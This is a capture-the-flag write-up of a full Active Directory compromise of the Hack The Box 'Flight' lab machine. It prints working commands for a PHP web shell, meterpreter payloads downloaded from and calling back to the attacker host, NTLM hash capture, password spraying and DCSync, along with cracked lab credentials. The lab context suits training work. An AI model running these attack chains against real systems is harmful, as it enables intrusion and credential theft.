Post

HTB Flight CTF Writeup

HTB Flight CTF is a "Hard" difficulty Windows machine on Hack The Box.

HTB Flight CTF Writeup

Challenge Summary

The Flight CTF from HackTheBox demonstrates how a seemingly minor web‑application flaw can unravel an entire Active Directory environment. Starting with a simple file‑inclusion bug, the attacker chained NTLM capture, password reuse, loose share permissions, and unconstrained delegation to pivot from an external web server to full Domain Admin. Each step relied on real‑world misconfigurations rather than exotic exploits, underscoring how layered weaknesses compound into total compromise.

Web Service Enumeration

Summary

A permissive view= parameter allowed Local and Remote File Inclusion, giving the attacker their initial foothold. Failing to sanitise user input and allowing remote URLs turned an informational web page into an internal launch pad.

Details

Homepage is just a splash page with some information on aeronautics

image.webp

At the end of the page, I located a vhost:

1
Copyright 2022 flight.htb - All Rights Reserved

I added it to my /etc/hosts file:

1
10.10.11.187 flight.htb

With that in mind I started a subdomain enumeration scan with ffuf:

image.webp

The command looks like that:

1
ffuf -u http://flight.htb -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.flight.htb" -t 10 -fs 7069

From the output, a valid “school.flight.htb” subdomain has been found:

image.webp

Looking around the website, we can see that the back-end uses PHP and it renders the pages based off of a “view” GET parameter in the URL:

image.webp

After messing around with this parameter for a few minutes, I discovered that the website is vulnerable to Local File Inclusion (LFI).

I tried fuzzing for different files based on a windows LFI wordlist, and got many hits:

image.webp

The command looks like this:

1
ffuf -u http://school.flight.htb/index.php?view=FUZZ -w /usr/share/wordlists/SecLists-master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -t 5 -fs 1170,1102

However, none of those files are really useful in our case.

I discovered that the LFI vulnerability is actually a broader file inclusion, because it’s also possible to make remote connections and include files from remote connections. To test this, I ran:

1
sudo python3 -m http.server 80

To establish a simple python http server to handle the http request, and then:

1
curl http://school.flight.htb/index.php?view=http://10.10.14.14/

Instantly, I got the request back at the python http server:

1
10.10.11.187 - - [24/Jun/2025 12:31:47] "GET / HTTP/1.1" 200 -

NTLM Hash Grabbing: Poisoned SMB Connection

Summary

Outbound SMB traffic was unrestricted and unsigned. By tricking the server into fetching //attacker/share, the adversary captured NTLMv2 hashes with Responder and cracked them offline—classic but still devastating when SMB egress filtering is absent.

Details

The webserver back-end has some protections enabled, in an attempt to protect from attacks. It’s a simple filter that looks for suspicious strings, like “\” or “..” or “filter” and so on.

As this is a windows machine, we can try to grab the password hash for the user running the Apache webserver by forcing it to make a connection back to us. It not always works, but it’s nice to try.

I fired up Responder.py to listen and poison incoming connections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
python3 Responder.py -I tun0 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

<SNIP>

[+] Current Session Variables:
    Responder Machine Name     [WIN-EZW67LWWGLN]
    Responder Domain Name      [RQZC.LOCAL]
    Responder DCE-RPC Port     [46678]

[*] Version: Responder 3.1.6.0
[*] Author: Laurent Gaffie, <[email protected]>

[+] Listening for events...

Commonly, to make a SMB connection, you’d use \\<server-ip>\<share>\<filename> but in this case the server blocks instances of “\”. To bypass this I initially tried to url-encode it, double url encode it, and even use the smb:// protocol instead of \\ (e.g. http://school.flight.htb/index.php?view=smb://10.10.14.14/test/test instead of http://school.flight.htb/index.php?view=\\10.10.14.14\test\test) however neither worked.

Then I realized that “\” and “//” in this context are the same thing, I can initiate a SMB connection using “//” instead of the usual “\”:

1
curl 'http://school.flight.htb/index.php?view=//10.10.14.14/share/'

Instantly, got a connection on my Responder session:

image.webp

The NTLM hash for “svc_apache” looks like this:

1
svc_apache::flight:772f1267fdc6d9af:3FFC93A691EF0DBEDDC326C9604561C3:01010000000000008079BBF6FAE4DB01E924E11FA4D71F6F0000000002000800520051005A00430001001E00570049004E002D0045005A005700360037004C005700570047004C004E0004003400570049004E002D0045005A005700360037004C005700570047004C004E002E00520051005A0043002E004C004F00430041004C0003001400520051005A0043002E004C004F00430041004C0005001400520051005A0043002E004C004F00430041004C00070008008079BBF6FAE4DB0106000400020000000800300030000000000000000000000000300000AFC51A941945165E1371DF82B594B02D5AF839F5731DA85CD2A177F02685BA370A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000

I saved it to a file, and used hashcat to crack it. Got a hit after a few seconds:

image.webp

The command looks like this:

1
hashcat svc_apache.poison /usr/share/wordlists/rockyou.txt

With that, got credentials for “svc_apache”:

1
2
Username: svc_apache
Password: S@Ss!K@*t13

Password Reuse: svc_apache -> s.moon

Summary

Multiple users—including a service account—shared the same weak password, violating even basic password‑hygiene policies. Once one credential leaked, spraying it across other accounts provided immediate lateral movement without brute force.

Details

I used netexec ldap module to enumerate the valid users in the AD domain and it got me all the users, saving them to “users.txt”:

image.webp

The command looks like this:

1
nxc ldap 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users-export users.txt

My users file looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

I also created a “passwords.txt” to store the passwords:

1
2
$ cat passwords.txt 
S@Ss!K@*t13

Then, with all the users in hands, I performed a password spray attack to see if any other user shares the same password as “svc_apache”:

image.webp

The command looks like this:

1
nxc ldap 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

Sure enough, “S.Moon” does! New creds:

1
flight.htb\S.Moon:S@Ss!K@*t13

Infecting the SMB share with malicious files

Summary

Excessive write access on corporate shares enabled “lure” files to harvest more hashes and, later, dropped web shells directly into production content. Least privilege and proper ACL reviews would have broken the chain here.

Details

I can see that “s.moon” has read/write privileges to the “Shared” SMB share:

image.webp

I used the tool “ntlm_theft” from github to generate a bunch of ntlmv2 hash theft files, that will be later uploaded to the “Shared” folder.

image.webp

The command:

1
python3 ntlm_theft.py --generate all --server 10.10.14.14 --filename bsec

Then, I started Responder once again:

1
python3 Responder.py -I tun0

I connected to the share and began uploading all the files:

image.webp

With all files uploaded, after a few seconds, I got a hit on my Responder server. A hash for “c.bum” user:

image.webp

The hash looks like this:

1
c.bum::flight.htb:329eef193fa7acd3:F0C7233A4631659B4C11DE4893ED1DCC:010100000000000080D7E979AEE5DB015AF10E20B9D0DCF40000000002000800330037005600300001001E00570049004E002D0042003100310055004F0046005400320032003500380004003400570049004E002D0042003100310055004F004600540032003200350038002E0033003700560030002E004C004F00430041004C000300140033003700560030002E004C004F00430041004C000500140033003700560030002E004C004F00430041004C000700080080D7E979AEE5DB0106000400020000000800300030000000000000000000000000300000AFC51A941945165E1371DF82B594B02D5AF839F5731DA85CD2A177F02685BA370A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000

I could crack the hash with hashcat, and rockyou.txt wordlist:

image.webp

The command looks like this:

1
hashcat c.bum.hash /usr/share/wordlists/rockyou.txt

New credentials:

1
2
Username: flight.htb/c.bum
Password: Tikkycoll_431012284

Remote Code Execution

User “c.bum” has Write access over the “Web” share:

image.webp

Because I know the webserver is running PHP on the back-end, it’s just a matter of creating a malicious php file, upload it to the webserver using c.bum’s credentials, and then visiting the php file to make the server execute it.

This is how my evil.php file looks like:

1
<?php system($_REQUEST['cmd']); ?>

I started a netcat listener to wait for connections:

1
sudo rlwrap nc -lvnp 53

Then, I connected to the SMB share as c.bum using:

1
smbclient //10.10.11.187/Web -U flight.htb/c.bum

I got into school.flight.htb and uploaded the malicious php file:

image.webp

I accessed the php file in the webserver (to trigger execution by the back-end) using curl:

image.webp

I generated a malicious windows PE:

1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=443 -f exe -o evil.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: evil.exe

I started a webserver with python to serve the malicious PE:

1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I used curl to make the server download my executable and save it to a world-writable folder (URL-encoded from https://cyberchef.org):

1
$ curl 'http://school.flight.htb/evil.php?cmd=powershell%20iwr%2010.10.14.14/evil.exe%20-o%20C:%5Cwindows%5Ctasks%5Cevil.exe'

I configured multi/handler in my metasploit console:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 10.10.14.14
LHOST => 10.10.14.14
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > run -j 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.14:443

I triggered the malicious PE:

1
$ curl 'http://school.flight.htb/evil.php?cmd=c:\windows\tasks\evil.exe'

Instantly, I got a hit, and a new meterpreter session has been opened:

1
2
3
4
5
6
7
msf6 exploit(multi/handler) > [*] Sending stage (203846 bytes) to 10.10.11.187
[*] Meterpreter session 1 opened (10.10.14.14:443 -> 10.10.11.187:49906) at 2025-07-01 15:42:59 -0300

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

I immediately started looking for a new process to migrate to, with the “ps” command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > ps

 <SNIP>
 
 4752  5188  cmd.exe                  x64   0        flight\svc_apache  C:\Windows\System32\cmd.exe
 4800  640   svchost.exe
 4996  640   httpd.exe                x64   0        flight\svc_apache  C:\xampp\apache\bin\httpd.exe
 5084  640   svchost.exe
 5188  4996  httpd.exe                x64   0        flight\svc_apache  C:\xampp\apache\bin\httpd.exe
 5948  640   svchost.exe
 5960  640   svchost.exe

meterpreter > migrate 5188
[*] Migrating from 2360 to 5188...
[*] Migration completed successfully

Lateral Movement: c.bum -> IIS service account

Summary

The hidden IIS instance on port 8000 ran with a writable web root by c.bum. Uploading an ASPX shell delivered an internal Meterpreter session.

Details

I noticed a inetpub folder in the root of the C drive, which is odd because from the nmap scan we know that Apache is running, not IIS.

Taking a further look into it, I can see the port 8000 is listening, but it also doesn’t show on the nmpa scan. Probably being blacklisted on the firewall:

image.webp

I investigated the inners of inetpub more thoroughly and discovered that c.bum has write access in the “development” folder:

image.webp

I started a netcat listener on my attacking machine:

1
2
$ sudo rlwrap nc -lvnp 443
listening on [any] 443 ...

Then I uploaded RunasCs to the victim, and got a reverse shell as c.bum:

1
.\RunasCs.exe c.bum Tikkycoll_431012284 "cmd.exe" -d flight.htb -l 2 -r 10.10.14.14:443

Immediately, I got the connection back, this tim as c.bum.

I used my meterpreter session from earlier to establish a port forward, to get access to the local port 8000:

1
2
meterpreter > portfwd add -l 8000 -p 8000 -L 127.0.0.1 -r 127.0.0.1 
[*] Forward TCP relay created: (local) 127.0.0.1:8000 -> (remote) 127.0.0.1:8000

With that, I could access the webpage in my browser:

image.webp

As this is IIS, I can craft a malicious aspx file, upload it to the victim, write to the development folder (where this website’s files are served from) and then access the aspx file to trigger the command execution.

I generated a malicious aspx file:

1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=21 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of aspx file: 3666 bytes
Saved as: shell.aspx

I configured my multi/handler to wait for connections:

1
2
3
4
5
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.14:21

I started a python http server to serve my aspx file:

1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

With my shell as c.bum, I grabbed the shell and saved it to the development folder of IIS:

1
C:\inetpub\development>powershell iwr 10.10.14.14/shell.aspx -o shell.aspx

Then I accessed the shell via the web browser, taking advantage of the port forwarding technique set earlier. Immediately, I got a connection back:

1
2
[*] Sending stage (203846 bytes) to 10.10.11.187
[*] Meterpreter session 2 opened (10.10.14.14:21 -> 10.10.11.187:50067) at 2025-07-01 16:34:54 -0300

This time, as IIS AppPool:

1
2
meterpreter > getuid 
Server username: IIS APPPOOL\DefaultAppPool

Vertical Privilege Escalation: Unconstrained Delegation

Summary

Because the application pool identity was flagged for unconstrained delegation, the attacker could extract a delegated TGT and perform a DCSync.

Details

Initially I tried to escalate to SYSTEM by using “getsystem” from meterpreter, keeping in mind that this is basically a LOCAL SERVICE account, with impersonation privileges:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeMachineAccountPrivilege

I tried running getsystem but it didn’t work:

1
2
3
4
5
6
7
8
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: All pipe instances are busy. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)

I also tried with PrintSpoofer and JuicyPotato, but neither did work.

As the IIS APPPOOL\DefaultAppPool, I can delegate a TGT and effectively compromise the entire domain by performing a DCSync.

To do this, I did transfer Rubeus.exe to the target machine, and ran:

image.webp

To get a TGT for the machine account (the DC itself). The command:

1
.\rubeus.exe tgtdeleg /nowrap

Then I copied the ticket to my attacking machine, base64-decoded it, and converted it to ccache:

1
2
3
user@attackbox:~/hacking/htb/machines/hard/flight$ nano g0.ticket.kirbi.b64
user@attackbox:~/hacking/htb/machines/hard/flight$ cat g0.ticket.kirbi.b64 | base64 -d > g0.ticket.kirbi   
user@attackbox:~/hacking/htb/machines/hard/flight$ ticketConverter.py g0.ticket.kirbi g0.ccache

With g0.ccache in hands, it’s just a matter of performing a DCSync:

1
2
$ export KRB5CCNAME=./g0.ccache
$ secretsdump.py -k -no-pass g0.flight.htb

With that, I have the NTLM hash for Administrator:

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::

Which can be used to get a highly privileged shell in the DC, effectively compromising the entire domain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c [email protected]
/home/user/.local/pipx/venvs/impacket/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.13.0.dev0+20250605.14806.5f78065 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on g0.flight.htb.....
[*] Found writable share ADMIN$
[*] Uploading file ATCtxpeL.exe
[*] Opening SVCManager on g0.flight.htb.....
[*] Creating service NBAN on g0.flight.htb.....
[*] Starting service NBAN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
 
Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::13d
   IPv6 Address. . . . . . . . . . . : dead:beef::e582:41d4:1302:ba1
   Link-local IPv6 Address . . . . . : fe80::e582:41d4:1302:ba1%6
   IPv4 Address. . . . . . . . . . . : 10.10.11.187
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:c0a4%6
                                       10.10.10.2

C:\Windows\system32>

Conclusion

This challenge is a textbook case of “defence in depth—or breach in depth.” Each weakness alone was survivable; combined, they enabled an effortless march to SYSTEM. Patching the LFI bug or rotating passwords would have slowed the attacker, but only a holistic security program—covering secure coding, credential hygiene, least privilege, hardened delegation, continuous monitoring, and segmented networks—can truly ground threats of this calibre.

This post is licensed under CC BY 4.0 by the author.